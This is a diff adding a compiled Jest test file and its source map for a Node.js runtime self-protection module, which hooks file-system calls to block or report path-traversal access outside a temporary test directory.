test('block is synchronous and never invokes the callback original', () => {
|
|
128
|
+
const original = jest.spyOn(fs, 'readFile');
|
|
129
|
+
(0, fs_1.installFsHooks)();
|
|
130
|
+
expect(() => request(() => fs.readFile(`${dir}/../escape.txt`, () => undefined))).toThrow(types_1.RaspBlockedError);
|
|
131
|
+
expect(original).not.toHaveBeenCalled();
|
|
132
|
+
});
|
|
133
|
+
test('promises reject rather than throwing synchronously', async () => {
|
|
134
|
+
const original = jest.spyOn(fs.promises, 'readFile');
|
|
135
|
+
(0, fs_1.installFsHooks)();
|
|
136
|
+
let result;
|
|
137
|
+
expect(() => { result = request(() => fs.promises.readFile(`${dir}/../escape.txt`)); }).not.toThrow();
|
|
138
|
+
await expect(result).rejects.toBeInstanceOf(types_1.RaspBlockedError);
|
|
139
|
+
expect(original).not.toHaveBeenCalled();
|
|
140
|
+
});
|
|
141
|
+
test('monitor reports and permits actual file I/O', () => {
|
|
142
|
+
mode('monitor');
|
|
143
|
+
const events = jest.fn();
|
|
144
|
+
(0, engine_1.setEventSink)({ add: events });
|
|
145
|
+
const escaped = `${dir}/child/../escape.txt`;
|
|
146
|
+
fs.mkdirSync((0, path_1.join)(dir, 'child'));
|
|
147
|
+
fs.writeFileSync((0, path_1.join)(dir, 'escape.txt'), 'fixture');
|
|
148
|
+
(0, fs_1.installFsHooks)();
|
|
149
|
+
expect(request(() => fs.readFileSync(escaped, 'utf8'))).toBe('fixture');
|
|
150
|
+
expect(events).toHaveBeenCalled();
|
|
151
|
+
});
|
|
152
|
+
test('off skips detection', () => {
|
|
153
|
+
(0, engine_1.configureEngine)({ enabled: false, applicationName: 'a', env: {} });
|
|
154
|
+
const detector = jest.spyOn(detect, 'detectPath');
|
|
155
|
+
(0, fs_1.installFsHooks)();
|
|
156
|
+
expect(fs.readFileSync(file, 'utf8')).toBe('fixture');
|
|
157
|
+
expect(detector).not.toHaveBeenCalled();
|
|
158
|
+
});
|
|
159
|
+
test('Buffer and file URL paths normalize; descriptors skip detection', () => {
|
|
160
|
+
const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
|
|
161
|
+
const fd = fs.openSync(file, 'r');
|
|
162
|
+
(0, fs_1.installFsHooks)();
|
|
163
|
+
try {
|
|
164
|
+
fs.readFileSync(Buffer.from(file));
|
|
165
|
+
fs.readFileSync((0, url_1.pathToFileURL)(file));
|
|
166
|
+
expect(detector).toHaveBeenCalledTimes(2);
|
|
167
|
+
fs.readFileSync(fd);
|
|
168
|
+
expect(detector).toHaveBeenCalledTimes(2);
|
|
169
|
+
}
|
|
170
|
+
finally {
|
|
171
|
+
fs.closeSync(fd);
|
|
172
|
+
}
|
|
173
|
+
});
|
|
174
|
+
test.each(['r', 'r+', 'w', 'a', fs.constants.O_RDWR])('open flags %s map to read/write', flags => {
|
|
175
|
+
const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
|
|
176
|
+
(0, fs_1.installFsHooks)();
|
|
177
|
+
const fd = fs.openSync(file, flags);
|
|
178
|
+
fs.closeSync(fd);
|
|
179
|
+
expect(detector.mock.calls[0][1]).toBe(flags === 'r' ? 'read' : 'write');
|
|
180
|
+
});
|
|
181
|
+
test('detector errors fail open and reporter file reads do not recurse', () => {
|
|
182
|
+
const detector = jest.spyOn(detect, 'detectPath').mockImplementation(() => {
|
|
183
|
+
expect(fs.readFileSync(file, 'utf8')).toBe('fixture');
|
|
184
|
+
throw new Error('unavailable');
|
|
185
|
+
});
|
|
186
|
+
(0, fs_1.installFsHooks)();
|
|
187
|
+
expect(fs.readFileSync(file, 'utf8')).toBe('fixture');
|
|
188
|
+
expect(detector).toHaveBeenCalledTimes(1);
|
|
189
|
+
});
|
|
190
|
+
test('promisify performs I/O and cannot bypass blocking', async () => {
|
|
191
|
+
(0, fs_1.installFsHooks)();
|
|
192
|
+
await expect((0, util_1.promisify)(fs.readFile)(file, 'utf8')).resolves.toBe('fixture');
|
|
193
|
+
await expect(request(() => (0, util_1.promisify)(fs.readFile)(`${dir}/../escape.txt`))).rejects.toBeInstanceOf(types_1.RaspBlockedError);
|
|
194
|
+
});
|
|
195
|
+
test('a synchronous read is checked once, not again for the open Node makes inside it', () => {
|
|
196
|
+
const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
|
|
197
|
+
(0, fs_1.installFsHooks)();
|
|
198
|
+
fs.readFileSync(file, 'utf8');
|
|
199
|
+
fs.writeFileSync((0, path_1.join)(dir, 'out.txt'), 'fixture');
|
|
200
|
+
expect(detector.mock.calls.map((c) => c[1])).toEqual(['read', 'write']);
|
|
201
|
+
});
|
|
202
|
+
test('a stream is checked once per request, not again when it opens', async () => {
|
|
203
|
+
const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
|
|
204
|
+
(0, fs_1.installFsHooks)();
|
|
205
|
+
const text = await request(() => new Promise((resolve, reject) => {
|
|
206
|
+
let s = '';
|
|
207
|
+
fs.createReadStream(file, 'utf8')
|
|
208
|
+
.on('data', (c) => (s += c))
|
|
209
|
+
.on('end', () => resolve(s))
|
|
210
|
+
.on('error', reject);
|
|
211
|
+
}));
|
|
212
|
+
expect(text).toBe('fixture');
|
|
213
|
+
expect(detector).toHaveBeenCalledTimes(1);
|
|
214
|
+
});
|
|
215
|
+
test('a blocked write stream is refused before it exists', () => {
|
|
216
|
+
const original = jest.spyOn(fs, 'createWriteStream');
|
|
217
|
+
(0, fs_1.installFsHooks)();
|
|
218
|
+
expect(() => request(() => fs.createWriteStream(`${dir}/../escape.txt`))).toThrow(types_1.RaspBlockedError);
|
|
219
|
+
expect(original).not.toHaveBeenCalled();
|
|
220
|
+
});
|
|
221
|
+
test('installation is idempotent and restores exact descriptors', () => {
|
|
222
|
+
const saved = [fs, fs.promises].flatMap(owner => mappings.flatMap(([api]) => {
|
|
223
|
+
const descriptor = Object.getOwnPropertyDescriptor(owner, api);
|
|
224
|
+
return descriptor ? [{ owner, api, descriptor }] : [];
|
|
225
|
+
}));
|
|
226
|
+
expect((0, fs_1.installFsHooks)()).toBe(true);
|
|
227
|
+
const wrapper = fs.readFile;
|
|
228
|
+
expect((0, fs_1.installFsHooks)()).toBe(true);
|
|
229
|
+
expect(fs.readFile).toBe(wrapper);
|
|
230
|
+
for (const { owner, api, descriptor } of saved) {
|
|
231
|
+
const fn = Reflect.get(owner, api);
|
|
232
|
+
expect(fn.name).toBe(descriptor.value.name);
|
|
233
|
+
expect(fn.length).toBe(descriptor.value.length);
|
|
234
|
+
}
|
|
235
|
+
(0, fs_1.uninstallFsHooks)();
|
|
236
|
+
(0, fs_1.uninstallFsHooks)();
|
|
237
|
+
for (const { owner, api, descriptor } of saved) {
|
|
238
|
+
expect(Object.getOwnPropertyDescriptor(owner, api)).toEqual(descriptor);
|
|
239
|
+
}
|
|
240
|
+
});
|
|
241
|
+
//# sourceMappingURL=fs-hook.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"fs-hook.test.js","sourceRoot":"","sources":["../../../src/rasp/__tests__/fs-hook.test.ts"],"names":[],"mappings":"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